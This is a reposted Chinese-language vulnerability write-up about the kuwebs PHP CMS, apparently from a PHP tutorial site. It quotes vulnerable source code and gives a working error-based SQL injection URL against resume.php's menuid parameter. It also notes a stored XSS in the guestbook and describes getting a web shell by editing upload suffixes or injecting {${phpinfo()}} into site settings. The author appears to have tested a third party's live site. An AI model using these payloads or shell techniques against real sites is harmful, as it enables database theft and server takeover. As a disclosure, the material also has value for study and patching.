来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 无聊,测试一个站点,发现是kuwebs源码,谷歌下,发现有人发布了漏洞,但是貌似补了,然后在官网下载了一份,在下载的时候居然提示有木马,我了个插,看来有人把kuwebs官网日了,...
无聊,测试一个站点,发现是kuwebs源码,谷歌下,发现有人发布了漏洞,但是貌似补了,然后在官网下载了一份,在下载的时候居然提示有木马,我了个插,看来有人把kuwebs官网日了,留后门了。。。
简单看了下,发现了一个注入点,看代码:
<?php
require_once '../inc/common.inc.php';
$strSql = "select * from {$configTableHead}job where id='{$jobid}' and lang='{$kuWebsiteCurrLanguage}';";
$kuArrJobInfo = $dbInstance->getOne($strSql);
//$kuResumePost = $row['jobpost'];
$kuPositionId = $kuArrJobInfo['type3'] ? $kuArrJobInfo['type3'] : ($kuArrJobInfo['type2'] ? $kuArrJobInfo['type2'] : $kuArrJobInfo['type1']);
.......................
$arrMenuInfo = getMenuIdInfo($menuid); //这里就是注入点了。。。
$topMenuId = '';
if(count($kuMenuList[$kuProductShow['type3']]))$topMenuId = $arrMenuInfo['type3'];
else if(count($kuMenuList[$kuProductShow['type2']]))$topMenuId = $arrMenuInfo['type2'];
else if(count($kuMenuList[$kuProductShow['type1']]))$topMenuId = $arrMenuInfo['type1'];
......................函数的说明
function getMenuIdInfo($id)
{
if('' == $id || 0 > $id)return;
global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;
$strSql = "select id, fatherid from {$configTableHead}menu where id={$id};";
$row1 = $dbInstance->getOne($strSql);
if(!is_array($row1))return;
if(0 == intval($row1['fatherid']))
{
$arrInfo['level'] = 1;
$arrInfo['type1'] = $id;
$arrInfo['type2'] = '';
$arrInfo['type3'] = '';
return $arrInfo;
}
exp:
http://www.2cto.com /kuwebs/job/resume.php?jobid=16&lang=cn&menuid=6 and (select 1 from(select count(*),concat((select (select version()) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a)>0
图:
话说到这里应该结束了,但是kuwebs比较恶心,你不改默认的管理后台路径,它会使劲的弹框提示你修改路径,所以,往往有密码了,没洞插,射不了。现在流行XSS盲打,那我也就流行下,找一下xss,发现网站留言那里存在存储型的xss,然后看了下代码,确实没有经过过滤
最后是拿shell了,拿shell很简单,可以直接修改上传后缀配置,也可以在 网站基本设置->基本信息->{${phpinfo()}} 直接拿shell
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com